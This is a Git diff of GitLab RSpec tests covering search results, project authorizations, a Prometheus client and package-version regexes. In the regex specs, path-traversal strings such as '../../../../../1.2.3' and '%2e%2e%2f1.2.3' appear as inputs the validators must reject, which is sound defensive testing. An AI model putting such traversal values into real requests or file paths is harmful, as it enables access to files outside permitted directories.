+ project.update!(group: group_2)
+ end
+ end
+ end
+
+ describe '#rename_project' do
+ # Can't use let_it_be because we change the path
+ let(:project) { create(:project) }
+ let(:new_path) { project.path.succ }
+ let(:meth) { 'rename_project' }
+
+ # Store the path before we change it
+ let!(:args) { [project.path, new_path, project.namespace.full_path] }
+
+ include_examples 'moving a pages directory' do
+ before do
+ project.update!(path: new_path)
+ end
+ end
+ end
+
+ describe '#rename_namespace' do
+ # Can't use let_it_be because we change the path
+ let(:group) { create(:group) }
+ let(:project) { create(:project, group: group) }
+ let(:new_path) { project.namespace.full_path.succ }
+ let(:meth) { 'rename_namespace' }
+
+ # Store the path before we change it
+ let!(:args) { [project.namespace.full_path, new_path] }
+
+ before do
+ # We need to skip hooks, otherwise the directory will be moved
+ # via an ActiveRecord callback
+ group.update_columns(path: new_path)
+ group.route.update!(path: new_path)
+ end
+
+ include_examples 'moving a pages directory'
+ end
+end
diff --git a/spec/lib/gitlab/phabricator_import/cache/map_spec.rb b/spec/lib/gitlab/phabricator_import/cache/map_spec.rb
index 0f760852a68..08ac85c2625 100644
--- a/spec/lib/gitlab/phabricator_import/cache/map_spec.rb
+++ b/spec/lib/gitlab/phabricator_import/cache/map_spec.rb
@@ -50,7 +50,7 @@ RSpec.describe Gitlab::PhabricatorImport::Cache::Map, :clean_gitlab_redis_cache
describe '#set_gitlab_model' do
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
it 'sets the class and id in redis with a ttl' do
diff --git a/spec/lib/gitlab/project_authorizations_spec.rb b/spec/lib/gitlab/project_authorizations_spec.rb
index 5ff07dcec4f..d2b41ee31d9 100644
--- a/spec/lib/gitlab/project_authorizations_spec.rb
+++ b/spec/lib/gitlab/project_authorizations_spec.rb
@@ -115,6 +115,66 @@ RSpec.describe Gitlab::ProjectAuthorizations do
end
end
+ context 'user with minimal access to group' do
+ let_it_be(:group) { create(:group) }
+ let_it_be(:user) { create(:user) }
+
+ subject(:mapping) { map_access_levels(authorizations) }
+
+ context 'group membership' do
+ let!(:group_project) { create(:project, namespace: group) }
+
+ before do
+ create(:group_member, :minimal_access, user: user, source: group)
+ end
+
+ it 'does not create authorization' do
+ expect(mapping[group_project.id]).to be_nil
+ end
+ end
+
+ context 'inherited group membership' do
+ let!(:sub_group) { create(:group, parent: group) }
+ let!(:sub_group_project) { create(:project, namespace: sub_group) }
+
+ before do
+ create(:group_member, :minimal_access, user: user, source: group)
+ end
+
+ it 'does not create authorization' do
+ expect(mapping[sub_group_project.id]).to be_nil
+ end
+ end
+
+ context 'shared group' do
+ let!(:shared_group) { create(:group) }
+ let!(:shared_group_project) { create(:project, namespace: shared_group) }
+
+ before do
+ create(:group_group_link, shared_group: shared_group, shared_with_group: group)
+ create(:group_member, :minimal_access, user: user, source: group)
+ end
+
+ it 'does not create authorization' do
+ expect(mapping[shared_group_project.id]).to be_nil
+ end
+ end
+
+ context 'shared project' do
+ let!(:another_group) { create(:group) }
+ let!(:shared_project) { create(:project, namespace: another_group) }
+
+ before do
+ create(:project_group_link, group: group, project: shared_project)
+ create(:group_member, :minimal_access, user: user, source: group)
+ end
+
+ it 'does not create authorization' do
+ expect(mapping[shared_project.id]).to be_nil
+ end
+ end
+ end
+
context 'with nested groups' do
let(:group) { create(:group) }
let!(:nested_group) { create(:group, parent: group) }
diff --git a/spec/lib/gitlab/project_search_results_spec.rb b/spec/lib/gitlab/project_search_results_spec.rb
index 6e3c60b58dc..fe0735b8043 100644
--- a/spec/lib/gitlab/project_search_results_spec.rb
+++ b/spec/lib/gitlab/project_search_results_spec.rb
@@ -5,31 +5,34 @@ require 'spec_helper'
RSpec.describe Gitlab::ProjectSearchResults do
include SearchHelpers
- let(:user) { create(:user) }
- let(:project) { create(:project) }
+ let_it_be(:user) { create(:user) }
+ let_it_be(:project) { create(:project) }
let(:query) { 'hello world' }
+ let(:repository_ref) { nil }
+ let(:filters) { {} }
- describe 'initialize with empty ref' do
- let(:results) { described_class.new(user, project, query, '') }
+ subject(:results) { described_class.new(user, query, project: project, repository_ref: repository_ref, filters: filters) }
- it { expect(results.project).to eq(project) }
- it { expect(results.query).to eq('hello world') }
- end
+ context 'with a repository_ref' do
+ context 'when empty' do
+ let(:repository_ref) { '' }
+
+ it { expect(results.project).to eq(project) }
+ it { expect(results.query).to eq('hello world') }
+ end
- describe 'initialize with ref' do
- let(:ref) { 'refs/heads/test' }
- let(:results) { described_class.new(user, project, query, ref) }
+ context 'when set' do
+ let(:repository_ref) { 'refs/heads/test' }
- it { expect(results.project).to eq(project) }
- it { expect(results.repository_ref).to eq(ref) }
- it { expect(results.query).to eq('hello world') }
+ it { expect(results.project).to eq(project) }
+ it { expect(results.repository_ref).to eq(repository_ref) }
+ it { expect(results.query).to eq('hello world') }
+ end
end
describe '#formatted_count' do
using RSpec::Parameterized::TableSyntax
- let(:results) { described_class.new(user, project, query) }
-
where(:scope, :count_method, :expected) do
'blobs' | :limited_blobs_count | max_limited_count
'notes' | :limited_notes_count | max_limited_count
@@ -63,7 +66,8 @@ RSpec.describe Gitlab::ProjectSearchResults do
shared_examples 'general blob search' do |entity_type, blob_type|
let(:query) { 'files' }
- subject(:results) { described_class.new(user, project, query).objects(blob_type) }
+
+ subject(:objects) { results.objects(blob_type) }
context "when #{entity_type} is disabled" do
let(:project) { disabled_project }
@@ -94,17 +98,17 @@ RSpec.describe Gitlab::ProjectSearchResults do
end
it 'finds by name' do
- expect(results.map(&:path)).to include(expected_file_by_path)
+ expect(objects.map(&:path)).to include(expected_file_by_path)
end
it "loads all blobs for path matches in single batch" do
expect(Gitlab::Git::Blob).to receive(:batch).once.and_call_original
- results.map(&:data)
+ expect { objects.map(&:data) }.not_to raise_error
end
it 'finds by content' do
- blob = results.select { |result| result.path == expected_file_by_content }.flatten.last
+ blob = objects.select { |result| result.path == expected_file_by_content }.flatten.last
expect(blob.path).to eq(expected_file_by_content)
end
@@ -115,7 +119,7 @@ RSpec.describe Gitlab::ProjectSearchResults do
let(:file_finder) { double }
let(:project_branch) { 'project_branch' }
- subject(:results) { described_class.new(user, project, query, repository_ref).objects(blob_type) }
+ subject(:objects) { results.objects(blob_type) }
before do
allow(entity).to receive(:default_branch).and_return(project_branch)
@@ -128,7 +132,7 @@ RSpec.describe Gitlab::ProjectSearchResults do
it 'uses it' do
expect(Gitlab::FileFinder).to receive(:new).with(project, repository_ref).and_return(file_finder)
- results
+ expect { objects }.not_to raise_error
end
end
@@ -138,7 +142,7 @@ RSpec.describe Gitlab::ProjectSearchResults do
it "uses #{entity_type} repository default reference" do
expect(Gitlab::FileFinder).to receive(:new).with(project, project_branch).and_return(file_finder)
- results
+ expect { objects }.not_to raise_error
end
end
@@ -148,7 +152,7 @@ RSpec.describe Gitlab::ProjectSearchResults do
it "uses #{entity_type} repository default reference" do
expect(Gitlab::FileFinder).to receive(:new).with(project, project_branch).and_return(file_finder)
- results
+ expect { objects }.not_to raise_error
end
end
end
@@ -157,7 +161,6 @@ RSpec.describe Gitlab::ProjectSearchResults do
let(:per_page) { 20 }
let(:count_limit) { described_class::COUNT_LIMIT }
let(:file_finder) { instance_double('Gitlab::FileFinder') }
- let(:results) { described_class.new(user, project, query) }
let(:repository_ref) { 'master' }
before do
@@ -228,139 +231,97 @@ RSpec.describe Gitlab::ProjectSearchResults do
context 'return type' do
let(:blobs) { [Gitlab::Search::FoundBlob.new(project: project)] }
- let(:results) { described_class.new(user, project, "Files", per_page: 20) }
+ let(:query) { "Files" }
+
+ subject(:objects) { results.objects('wiki_blobs', per_page: 20) }
before do
allow(results).to receive(:wiki_blobs).and_return(blobs)
end
it 'returns list of FoundWikiPage type object' do
- objects = results.objects('wiki_blobs')
-
expect(objects).to be_present
expect(objects).to all(be_a(Gitlab::Search::FoundWikiPage))
end
end
end
- it 'does not list issues on private projects' do
- issue = create(:issue, project: project)
-
- results = described_class.new(user, project, issue.title)
-
- expect(results.objects('issues')).not_to include issue
- end
-
- describe 'confidential issues' do
- let(:query) { 'issue' }
- let(:author) { create(:user) }
- let(:assignee) { create(:user) }
- let(:non_member) { create(:user) }
- let(:member) { create(:user) }
- let(:admin) { create(:admin) }
- let(:project) { create(:project, :internal) }
- let!(:issue) { create(:issue, project: project, title: 'Issue 1') }
- let!(:security_issue_1) { create(:issue, :confidential, project: project, title: 'Security issue 1', author: author) }
- let!(:security_issue_2) { create(:issue, :confidential, title: 'Security issue 2', project: project, assignees: [assignee]) }
-
- it 'does not list project confidential issues for non project members' do
- results = described_class.new(non_member, project, query)
- issues = results.objects('issues')
-
- expect(issues).to include issue
- expect(issues).not_to include security_issue_1
- expect(issues).not_to include security_issue_2
- expect(results.limited_issues_count).to eq 1
- end
-
- it 'does not list project confidential issues for project members with guest role' do
- project.add_guest(member)
+ describe 'issues search' do
+ let(:issue) { create(:issue, project: project) }
+ let(:query) { issue.title }
+ let(:scope) { 'issues' }
- results = described_class.new(member, project, query)
- issues = results.objects('issues')
+ subject(:objects) { results.objects(scope) }
- expect(issues).to include issue
- expect(issues).not_to include security_issue_1
- expect(issues).not_to include security_issue_2
- expect(results.limited_issues_count).to eq 1
+ it 'does not list issues on private projects' do
+ expect(objects).not_to include issue
end
- it 'lists project confidential issues for author' do
- results = described_class.new(author, project, query)
- issues = results.objects('issues')
-
- expect(issues).to include issue
- expect(issues).to include security_issue_1
- expect(issues).not_to include security_issue_2
- expect(results.limited_issues_count).to eq 2
+ describe "confidential issues" do
+ include_examples "access restricted confidential issues"
end
- it 'lists project confidential issues for assignee' do
- results = described_class.new(assignee, project, query)
- issues = results.objects('issues')
+ context 'filtering' do
+ let_it_be(:project) { create(:project, :public) }
+ let_it_be(:closed_result) { create(:issue, :closed, project: project, title: 'foo closed') }
+ let_it_be(:opened_result) { create(:issue, :opened, project: project, title: 'foo opened') }
+ let(:query) { 'foo' }
- expect(issues).to include issue
- expect(issues).not_to include security_issue_1
- expect(issues).to include security_issue_2
- expect(results.limited_issues_count).to eq 2
+ include_examples 'search results filtered by state'
end
+ end
- it 'lists project confidential issues for project members' do
- project.add_developer(member)
-
- results = described_class.new(member, project, query)
- issues = results.objects('issues')
-
- expect(issues).to include issue
- expect(issues).to include security_issue_1
- expect(issues).to include security_issue_2
- expect(results.limited_issues_count).to eq 3
- end
+ describe 'merge requests search' do
+ let(:scope) { 'merge_requests' }
+ let(:project) { create(:project, :public) }
- it 'lists all project issues for admin' do
- results = described_class.new(admin, project, query)
- issues = results.objects('issues')
+ context 'filtering' do
+ let!(:project) { create(:project, :public) }
+ let!(:opened_result) { create(:merge_request, :opened, source_project: project, title: 'foo opened') }
+ let!(:closed_result) { create(:merge_request, :closed, source_project: project, title: 'foo closed') }
+ let(:query) { 'foo' }
- expect(issues).to include issue
- expect(issues).to include security_issue_1
- expect(issues).to include security_issue_2
- expect(results.limited_issues_count).to eq 3
+ include_examples 'search results filtered by state'
end
end
describe 'notes search' do
- it 'lists notes' do
- project = create(:project, :public)
- note = create(:note, project: project)
+ let(:query) { note.note }
- results = described_class.new(user, project, note.note)
+ subject(:notes) { results.objects('notes') }
- expect(results.objects('notes')).to include note
- end
+ context 'with a public project' do
+ let(:project) { create(:project, :public) }
+ let(:note) { create(:note, project: project) }
- it "doesn't list issue notes when access is restricted" do
- project = create(:project, :public, :issues_private)
- note = create(:note_on_issue, project: project)
+ it 'lists notes' do
+ expect(notes).to include note
+ end
+ end
- results = described_class.new(user, project, note.note)
+ context 'with private issues' do
+ let(:project) { create(:project, :public, :issues_private) }
+ let(:note) { create(:note_on_issue, project: project) }
- expect(results.objects('notes')).not_to include note
+ it "doesn't list issue notes when access is restricted" do
+ expect(notes).not_to include note
+ end
end
- it "doesn't list merge_request notes when access is restricted" do
- project = create(:project, :public, :merge_requests_private)
- note = create(:note_on_merge_request, project: project)
+ context 'with private merge requests' do
+ let(:project) { create(:project, :public, :merge_requests_private) }
+ let(:note) { create(:note_on_merge_request, project: project) }
- results = described_class.new(user, project, note.note)
-
- expect(results.objects('notes')).not_to include note
+ it "doesn't list merge_request notes when access is restricted" do
+ expect(notes).not_to include note
+ end
end
end
describe '#limited_notes_count' do
let(:project) { create(:project, :public) }
let(:note) { create(:note_on_issue, project: project) }
- let(:results) { described_class.new(user, project, note.note) }
+ let(:query) { note.note }
context 'when count_limit is lower than total amount' do
before do
@@ -375,11 +336,6 @@ RSpec.describe Gitlab::ProjectSearchResults do
context 'when count_limit is higher than total amount' do
it 'calls note finder multiple times to get the limited amount of notes' do
- project = create(:project, :public)
- note = create(:note_on_issue, project: project)
-
- results = described_class.new(user, project, note.note)
-
expect(results).to receive(:notes_finder).exactly(4).times.and_call_original
expect(results.limited_notes_count).to eq(1)
end
@@ -395,7 +351,7 @@ RSpec.describe Gitlab::ProjectSearchResults do
.with(anything, anything, anything, described_class::COUNT_LIMIT)
.and_call_original
- described_class.new(user, project, '.').commits_count
+ results.commits_count
end
end
@@ -406,19 +362,23 @@ RSpec.describe Gitlab::ProjectSearchResults do
# * commit
#
shared_examples 'access restricted commits' do
+ let(:query) { search_phrase }
+
context 'when project is internal' do
let(:project) { create(:project, :internal, :repository) }
- it 'does not search if user is not authenticated' do
- commits = described_class.new(nil, project, search_phrase).objects('commits')
+ subject(:commits) { results.objects('commits') }
- expect(commits).to be_empty
+ it 'searches if user is authenticated' do
+ expect(commits).to contain_exactly commit
end
- it 'searches if user is authenticated' do
- commits = described_class.new(user, project, search_phrase).objects('commits')
+ context 'when the user is not authenticated' do
+ let(:user) { nil }
- expect(commits).to contain_exactly commit
+ it 'does not search' do
+ expect(commits).to be_empty
+ end
end
end
@@ -437,29 +397,35 @@ RSpec.describe Gitlab::ProjectSearchResults do
user
end
- it 'does not show commit to stranger' do
- commits = described_class.new(nil, private_project, search_phrase).objects('commits')
+ let(:project) { private_project }
- expect(commits).to be_empty
+ subject(:commits) { results.objects('commits') }
+
+ context 'when the user is not authenticated' do
+ let(:user) { nil }
+
+ it 'does not show commit to stranger' do
+ expect(commits).to be_empty
+ end
end
context 'team access' do
- it 'shows commit to creator' do
- commits = described_class.new(creator, private_project, search_phrase).objects('commits')
+ context 'when the user is the creator' do
+ let(:user) { creator }
- expect(commits).to contain_exactly commit
+ it { expect(commits).to contain_exactly commit }
end
- it 'shows commit to master' do
- commits = described_class.new(team_master, private_project, search_phrase).objects('commits')
+ context 'when the user is a master' do
+ let(:user) { team_master }
- expect(commits).to contain_exactly commit
+ it { expect(commits).to contain_exactly commit }
end
- it 'shows commit to reporter' do
- commits = described_class.new(team_reporter, private_project, search_phrase).objects('commits')
+ context 'when the user is a reporter' do
+ let(:user) { team_reporter }
- expect(commits).to contain_exactly commit
+ it { expect(commits).to contain_exactly commit }
end
end
end
@@ -471,9 +437,7 @@ RSpec.describe Gitlab::ProjectSearchResults do
it 'returns the correct results for each page' do
expect(results_page(1)).to contain_exactly(commit('b83d6e391c22777fca1ed3012fce84f633d7fed0'))
-
expect(results_page(2)).to contain_exactly(commit('498214de67004b1da3d820901307bed2a68a8ef6'))
-
expect(results_page(3)).to contain_exactly(commit('1b12f15a11fc6e62177bef08f47bc7b5ce50b141'))
end
@@ -506,7 +470,7 @@ RSpec.describe Gitlab::ProjectSearchResults do
end
def results_page(page)
- described_class.new(user, project, '.').objects('commits', per_page: 1, page: page)
+ described_class.new(user, '.', project: project).objects('commits', per_page: 1, page: page)
end
def commit(hash)
@@ -518,26 +482,27 @@ RSpec.describe Gitlab::ProjectSearchResults do
let(:project) { create(:project, :public, :repository) }
let(:commit) { project.repository.commit('59e29889be61e6e0e5e223bfa9ac2721d31605b8') }
let(:message) { 'Sorry, I did a mistake' }
+ let(:query) { message }
- it 'finds commit by message' do
- commits = described_class.new(user, project, message).objects('commits')
+ subject(:commits) { results.objects('commits') }
+ it 'finds commit by message' do
expect(commits).to contain_exactly commit
end
- it 'handles when no commit match' do
- commits = described_class.new(user, project, 'not really an existing description').objects('commits')
+ context 'when there are not hits' do
+ let(:query) { 'not really an existing description' }
- expect(commits).to be_empty
+ it 'handles when no commit match' do
+ expect(commits).to be_empty
+ end
end
context 'when repository_ref is provided' do
- let(:message) { 'Feature added' }
+ let(:query) { 'Feature added' }
let(:repository_ref) { 'feature' }
it 'searches in the specified ref' do
- commits = described_class.new(user, project, message, repository_ref).objects('commits')
-
# This commit is unique to the feature branch
expect(commits).to contain_exactly(project.repository.commit('0b4bc9a49b562e85de7cc9e834518ea6828729b9'))
end
@@ -557,14 +522,14 @@ RSpec.describe Gitlab::ProjectSearchResults do
commit_hashes.each do |type, commit_hash|
it "shows commit by #{type} hash id" do
- commits = described_class.new(user, project, commit_hash).objects('commits')
+ commits = described_class.new(user, commit_hash, project: project).objects('commits')
expect(commits).to contain_exactly commit
end
end
it 'handles not existing commit hash correctly' do
- commits = described_class.new(user, project, 'deadbeef').objects('commits')
+ commits = described_class.new(user, 'deadbeef', project: project).objects('commits')
expect(commits).to be_empty
end
@@ -577,9 +542,13 @@ RSpec.describe Gitlab::ProjectSearchResults do
end
describe 'user search' do
- it 'returns the user belonging to the project matching the search query' do
- project = create(:project)
+ let(:query) { 'gob' }
+ let(:group) { create(:group) }
+ let(:project) { create(:project, namespace: group) }
+ subject(:objects) { results.objects('users') }
+
+ it 'returns the user belonging to the project matching the search query' do
user1 = create(:user, username: 'gob_bluth')
create(:project_member, :developer, user: user1, project: project)
@@ -588,23 +557,16 @@ RSpec.describe Gitlab::ProjectSearchResults do
create(:user, username: 'gob_2018')
- result = described_class.new(user, project, 'gob').objects('users')
-
- expect(result).to eq [user1]
+ expect(objects).to contain_exactly(user1)
end
it 'returns the user belonging to the group matching the search query' do
- group = create(:group)
- project = create(:project, namespace: group)
-
user1 = create(:user, username: 'gob_bluth')
create(:group_member, :developer, user: user1, group: group)
create(:user, username: 'gob_2018')
- result = described_class.new(user, project, 'gob').objects('users')
-
- expect(result).to eq [user1]
+ expect(objects).to contain_exactly(user1)
end
end
end
diff --git a/spec/lib/gitlab/prometheus/internal_spec.rb b/spec/lib/gitlab/prometheus/internal_spec.rb
index 1254610fe32..7771d85222a 100644
--- a/spec/lib/gitlab/prometheus/internal_spec.rb
+++ b/spec/lib/gitlab/prometheus/internal_spec.rb
@@ -48,7 +48,7 @@ RSpec.describe Gitlab::Prometheus::Internal do
let(:listen_address) { nil }
it 'does not fail' do
- expect(described_class.uri).to eq(nil)
+ expect(described_class.uri).to be_nil
end
end
@@ -56,12 +56,32 @@ RSpec.describe Gitlab::Prometheus::Internal do
let(:listen_address) { '' }
it 'does not configure prometheus' do
- expect(described_class.uri).to eq(nil)
+ expect(described_class.uri).to be_nil
end
end
end
- describe 'prometheus_enabled?' do
+ describe '.server_address' do
+ context 'self.uri returns valid uri' do
+ ['http://localhost:9090', 'https://localhost:9090 '].each do |valid_uri|
+ it 'returns correct server address' do
+ expect(described_class).to receive(:uri).and_return(valid_uri)
+
+ expect(described_class.server_address).to eq('localhost:9090')
+ end
+ end
+ end
+
+ context 'self.uri returns nil' do
+ it 'returns nil' do
+ expect(described_class).to receive(:uri).and_return(nil)
+
+ expect(described_class.server_address).to be_nil
+ end
+ end
+ end
+
+ describe '.prometheus_enabled?' do
it 'returns correct value' do
expect(described_class.prometheus_enabled?).to eq(true)
end
@@ -101,7 +121,7 @@ RSpec.describe Gitlab::Prometheus::Internal do
end
it 'does not fail' do
- expect(described_class.listen_address).to eq(nil)
+ expect(described_class.listen_address).to be_nil
end
end
end
diff --git a/spec/lib/gitlab/prometheus/queries/additional_metrics_environment_query_spec.rb b/spec/lib/gitlab/prometheus/queries/additional_metrics_environment_query_spec.rb
index f5911963108..d0dee2ad366 100644
--- a/spec/lib/gitlab/prometheus/queries/additional_metrics_environment_query_spec.rb
+++ b/spec/lib/gitlab/prometheus/queries/additional_metrics_environment_query_spec.rb
@@ -4,7 +4,7 @@ require 'spec_helper'
RSpec.describe Gitlab::Prometheus::Queries::AdditionalMetricsEnvironmentQuery do
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
include_examples 'additional metrics query' do
diff --git a/spec/lib/gitlab/prometheus/queries/validate_query_spec.rb b/spec/lib/gitlab/prometheus/queries/validate_query_spec.rb
index 045c063ab34..e3706a4b106 100644
--- a/spec/lib/gitlab/prometheus/queries/validate_query_spec.rb
+++ b/spec/lib/gitlab/prometheus/queries/validate_query_spec.rb
@@ -28,7 +28,7 @@ RSpec.describe Gitlab::Prometheus::Queries::ValidateQuery do
let(:error_message) { "invalid parameter 'query': 1:9: parse error: unexpected identifier \"query\"" }
it 'returns invalid' do
- Timecop.freeze do
+ freeze_time do
stub_prometheus_query_error(
prometheus_query_with_time_url(query, Time.now),
error_message
@@ -53,7 +53,7 @@ RSpec.describe Gitlab::Prometheus::Queries::ValidateQuery do
end
it 'catches exception and returns invalid' do
- Timecop.freeze do
+ freeze_time do
expect(subject.query(query)).to eq(valid: false, error: message)
end
end
diff --git a/spec/lib/gitlab/prometheus_client_spec.rb b/spec/lib/gitlab/prometheus_client_spec.rb
index 0774c2f3144..82ef4675553 100644
--- a/spec/lib/gitlab/prometheus_client_spec.rb
+++ b/spec/lib/gitlab/prometheus_client_spec.rb
@@ -36,6 +36,28 @@ RSpec.describe Gitlab::PrometheusClient do
end
end
+ describe '#ready?' do
+ it 'returns true when status code is 200' do
+ stub_request(:get, subject.ready_url).to_return(status: 200, body: 'Prometheus is Ready.\n')
+
+ expect(subject.ready?).to eq(true)
+ end
+
+ it 'returns false when status code is not 200' do
+ [503, 500].each do |code|
+ stub_request(:get, subject.ready_url).to_return(status: code, body: 'Service Unavailable')
+
+ expect(subject.ready?).to eq(false)
+ end
+ end
+
+ it 'raises error when ready api throws exception' do
+ stub_request(:get, subject.ready_url).to_raise(Net::OpenTimeout)
+
+ expect { subject.ready? }.to raise_error(Gitlab::PrometheusClient::UnexpectedResponseError)
+ end
+ end
+
# This shared examples expect:
# - query_url: A query URL
# - execute_query: A query call
@@ -136,7 +158,7 @@ RSpec.describe Gitlab::PrometheusClient do
let(:query_url) { prometheus_query_with_time_url(prometheus_query, Time.now.utc) }
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
context 'when request returns vector results' do
@@ -195,7 +217,7 @@ RSpec.describe Gitlab::PrometheusClient do
let(:query_url) { prometheus_query_with_time_url(query, Time.now.utc) }
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
context 'when request returns vector results' do
@@ -228,7 +250,7 @@ RSpec.describe Gitlab::PrometheusClient do
let(:query_url) { prometheus_series_url('series_name', 'other_service') }
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
it 'calls endpoint and returns list of series' do
@@ -259,7 +281,7 @@ RSpec.describe Gitlab::PrometheusClient do
let(:query_url) { prometheus_query_range_url(prometheus_query) }
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
context 'when non utc time is passed' do
@@ -358,7 +380,7 @@ RSpec.describe Gitlab::PrometheusClient do
let(:query_url) { prometheus_query_url(prometheus_query) }
around do |example|
- Timecop.freeze { example.run }
+ freeze_time { example.run }
end
context 'when response status code is 200' do
diff --git a/spec/lib/gitlab/quick_actions/substitution_definition_spec.rb b/spec/lib/gitlab/quick_actions/substitution_definition_spec.rb
index b28ac49b4ea..8a4e9ab8bb7 100644
--- a/spec/lib/gitlab/quick_actions/substitution_definition_spec.rb
+++ b/spec/lib/gitlab/quick_actions/substitution_definition_spec.rb
@@ -46,24 +46,4 @@ EOF
end
end
end
-
- describe '#match' do
- it 'checks the content for the command' do
- expect(subject.match(content)).to be_truthy
- end
-
- it 'returns the match data' do
- data = subject.match(content)
- expect(data).to be_a(MatchData)
- expect(data[1]).to eq('I like this stuff')
- end
-
- it 'is nil if content does not have the command' do
- expect(subject.match('blah')).to be_falsey
- end
-
- it 'is nil if content contains the command as prefix' do
- expect(subject.match('/sub_namex')).to be_falsey
- end
- end
end
diff --git a/spec/lib/gitlab/reference_counter_spec.rb b/spec/lib/gitlab/reference_counter_spec.rb
index 0d0ac75ee22..83e4006c69b 100644
--- a/spec/lib/gitlab/reference_counter_spec.rb
+++ b/spec/lib/gitlab/reference_counter_spec.rb
@@ -21,7 +21,7 @@ RSpec.describe Gitlab::ReferenceCounter, :clean_gitlab_redis_shared_state do
end
it 'warns if attempting to decrease a counter with a value of zero or less, and resets the counter' do
- expect(Rails.logger).to receive(:warn).with("Reference counter for project-1" \
+ expect(Gitlab::AppLogger).to receive(:warn).with("Reference counter for project-1" \
" decreased when its value was less than 1. Resetting the counter.")
expect { reference_counter.decrease }.not_to change { reference_counter.value }
end
diff --git a/spec/lib/gitlab/regex_spec.rb b/spec/lib/gitlab/regex_spec.rb
index afa930b795a..88c3315150b 100644
--- a/spec/lib/gitlab/regex_spec.rb
+++ b/spec/lib/gitlab/regex_spec.rb
@@ -3,14 +3,19 @@
require 'fast_spec_helper'
RSpec.describe Gitlab::Regex do
- shared_examples_for 'project/group name regex' do
+ shared_examples_for 'project/group name chars regex' do
it { is_expected.to match('gitlab-ce') }
it { is_expected.to match('GitLab CE') }
it { is_expected.to match('100 lines') }
it { is_expected.to match('gitlab.git') }
it { is_expected.to match('Český název') }
it { is_expected.to match('Dash – is this') }
+ end
+
+ shared_examples_for 'project/group name regex' do
+ it_behaves_like 'project/group name chars regex'
it { is_expected.not_to match('?gitlab') }
+ it { is_expected.not_to match("Users's something") }
end
describe '.project_name_regex' do
@@ -33,6 +38,16 @@ RSpec.describe Gitlab::Regex do
end
end
+ describe '.group_name_regex_chars' do
+ subject { described_class.group_name_regex_chars }
+
+ it_behaves_like 'project/group name chars regex'
+
+ it 'allows partial matches' do
+ is_expected.to match(',Valid name wrapped in ivalid chars&')
+ end
+ end
+
describe '.project_name_regex_message' do
subject { described_class.project_name_regex_message }
@@ -302,6 +317,73 @@ RSpec.describe Gitlab::Regex do
it { is_expected.not_to match('%2e%2e%2f1.2.3') }
end
+ describe '.pypi_version_regex' do
+ subject { described_class.pypi_version_regex }
+
+ it { is_expected.to match('0.1') }
+ it { is_expected.to match('2.0') }
+ it { is_expected.to match('1.2.0')}
+ it { is_expected.to match('0100!0.0') }
+ it { is_expected.to match('00!1.2') }
+ it { is_expected.to match('1.0a') }
+ it { is_expected.to match('1.0-a') }
+ it { is_expected.to match('1.0.a1') }
+ it { is_expected.to match('1.0a1') }
+ it { is_expected.to match('1.0-a1') }
+ it { is_expected.to match('1.0alpha1') }
+ it { is_expected.to match('1.0b1') }
+ it { is_expected.to match('1.0beta1') }
+ it { is_expected.to match('1.0rc1') }
+ it { is_expected.to match('1.0pre1') }
+ it { is_expected.to match('1.0preview1') }
+ it { is_expected.to match('1.0.dev1') }
+ it { is_expected.to match('1.0.DEV1') }
+ it { is_expected.to match('1.0.post1') }
+ it { is_expected.to match('1.0.rev1') }
+ it { is_expected.to match('1.0.r1') }
+ it { is_expected.to match('1.0c2') }
+ it { is_expected.to match('2012.15') }
+ it { is_expected.to match('1.0+5') }
+ it { is_expected.to match('1.0+abc.5') }
+ it { is_expected.to match('1!1.1') }
+ it { is_expected.to match('1.0c3') }
+ it { is_expected.to match('1.0rc2') }
+ it { is_expected.to match('1.0c1') }
+ it { is_expected.to match('1.0b2-346') }
+ it { is_expected.to match('1.0b2.post345') }
+ it { is_expected.to match('1.0b2.post345.dev456') }
+ it { is_expected.to match('1.2.rev33+123456') }
+ it { is_expected.to match('1.1.dev1') }
+ it { is_expected.to match('1.0b1.dev456') }
+ it { is_expected.to match('1.0a12.dev456') }
+ it { is_expected.to match('1.0b2') }
+ it { is_expected.to match('1.0.dev456') }
+ it { is_expected.to match('1.0c1.dev456') }
+ it { is_expected.to match('1.0.post456') }
+ it { is_expected.to match('1.0.post456.dev34') }
+ it { is_expected.to match('1.2+123abc') }
+ it { is_expected.to match('1.2+abc') }
+ it { is_expected.to match('1.2+abc123') }
+ it { is_expected.to match('1.2+abc123def') }
+ it { is_expected.to match('1.2+1234.abc') }
+ it { is_expected.to match('1.2+123456') }
+ it { is_expected.to match('1.2.r32+123456') }
+ it { is_expected.to match('1!1.2.rev33+123456') }
+ it { is_expected.to match('1.0a12') }
+ it { is_expected.to match('1.2.3-45+abcdefgh') }
+ it { is_expected.to match('v1.2.3') }
+ it { is_expected.not_to match('1.2.3-45-abcdefgh') }
+ it { is_expected.not_to match('..1.2.3') }
+ it { is_expected.not_to match(' 1.2.3') }
+ it { is_expected.not_to match("1.2.3 \r\t") }
+ it { is_expected.not_to match("\r\t 1.2.3") }
+ it { is_expected.not_to match('1./2.3') }
+ it { is_expected.not_to match('1.2.3-4/../../') }
+ it { is_expected.not_to match('1.2.3-4%2e%2e%') }
+ it { is_expected.not_to match('../../../../../1.2.3') }
+ it { is_expected.not_to match('%2e%2e%2f1.2.3') }
+ end
+
describe '.semver_regex' do
subject { described_class.semver_regex }
@@ -335,4 +417,21 @@ RSpec.describe Gitlab::Regex do
it { is_expected.not_to match('1.2') }
it { is_expected.not_to match('1./2.3') }
end
+
+ describe '.generic_package_version_regex' do
+ subject { described_class.generic_package_version_regex }
+
+ it { is_expected.to match('1.2.3') }
+ it { is_expected.to match('1.3.350') }
+ it { is_expected.not_to match('1.3.350-20201230123456') }
+ it { is_expected.not_to match('..1.2.3') }
+ it { is_expected.not_to match(' 1.2.3') }
+ it { is_expected.not_to match("1.2.3 \r\t") }
+ it { is_expected.not_to match("\r\t 1.2.3") }
+ it { is_expected.not_to match('1.2.3-4/../../') }
+ it { is_expected.not_to match('1.2.3-4%2e%2e%') }
+ it { is_expected.not_to match('../../../../../1.2.3') }
+ it { is_expected.not_to match('%2e%2e%2f1.2.3') }
+ it { is_expected.not_to match('') }
+ end
end
